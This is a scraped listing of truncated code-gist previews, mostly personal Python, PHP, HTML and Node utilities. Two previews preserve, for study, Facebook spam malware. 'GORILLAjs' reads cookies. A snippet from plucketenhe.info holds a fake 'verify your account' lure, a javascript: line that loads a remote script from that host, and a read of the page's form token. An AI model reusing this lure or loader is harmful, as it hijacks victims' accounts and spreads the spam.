This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!python | |
| fileIN = open("stories_org.csv", "r") | |
| line = fileIN.readline() | |
| while line: | |
| line = line.replace("\xb2", "") | |
| line = line.split("|||") | |
| print line | |
| line = fileIN.readline() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // saw a friend get spammed by this, so i copied the code in here to preserve it. | |
| // THIS IS NOT MINE, I'M JUST KEEPING IT AROUND BECAUSE I'M INTERESTED IN THE FACEBOOK JAVASCRIPT SDK. | |
| /////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| // GORILLAjs | |
| /////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| function readCookie(name) { | |
| var nameEQ = name + "="; | |
| var ca = document.cookie.split(';'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| THIS CODE IS FROM http://plucketenhe.info/verify.js | |
| I AM POSTING IT HERE JUST TO BE ABLE TO STUDY IT. IT IS NOT MINE. | |
| */ | |
| var message = "In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process..."; | |
| var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://plucketenhe.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
| var myText = "==>[VERIFY MY ACCOUNT]<=="; | |
| var post_form_id = document.getElementsByName('post_form_id')[0].value; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import smtplib | |
| from email.mime.text import MIMEText | |
| import subprocess | |
| c = subprocess.call("curl -s dailyemerald.com |grep www.dailyemerald.com | wc -l", shell=True) | |
| me = "[email protected]" | |
| you = "[email protected]" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import glob, subprocess | |
| f = open('tally_out.txt', 'w') | |
| base = "/Users/ivar/Pictures/" | |
| directories = glob.glob(base+"11*.*"); | |
| def doStuff(file): | |
| exifoutput = subprocess.check_output(["exiftool","-fast","-LensModel","-FocalLength","-Aperture","-FocusDistanceLower",file]) | |
| exifoutput = exifoutput.split("\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function listgallery_func($atts) { | |
| echo "<style>.entry-content img { margin: 0; }</style>"; | |
| global $post; | |
| $args = array( | |
| 'order' => 'ASC', | |
| 'post_type' => 'attachment', | |
| 'post_parent' => $post->ID, | |
| 'post_mime_type' => 'image', | |
| 'post_status' => null, | |
| 'numberposts' => -1, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>Photo Mechanic Code Replacement generator - Ivar Vong</title> | |
| <style type="text/css"> | |
| * { | |
| font-family: "Helvetica Neue"; | |
| font-size: 13px; | |
| } | |
| #left { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| #you can get smugpy here: https://github.com/ivong/smugpy | |
| #i added a commit to sanitize the url. without it, it breaks on images with spaces (and likely other weird characters) | |
| from glob import glob | |
| from shutil import move | |
| from time import localtime, strftime | |
| files = glob("/srv/www/ivarvong.com/public_html/auto/*.[jJ]*"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| m = [] | |
| out = [] | |
| for a in range(1,7): | |
| for b in range(1,7): | |
| for c in range(1,7): | |
| for d in range(1,7): | |
| for e in range(1,7): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // /srv/www/ivarvong.com/public_html/allenhall/timelapse | |
| var util = require('util') | |
| , exec = require('child_process').exec | |
| , child; | |
| function pad(num) { | |
| if (num < 10) { | |
| return "0" + num; | |
| } else { |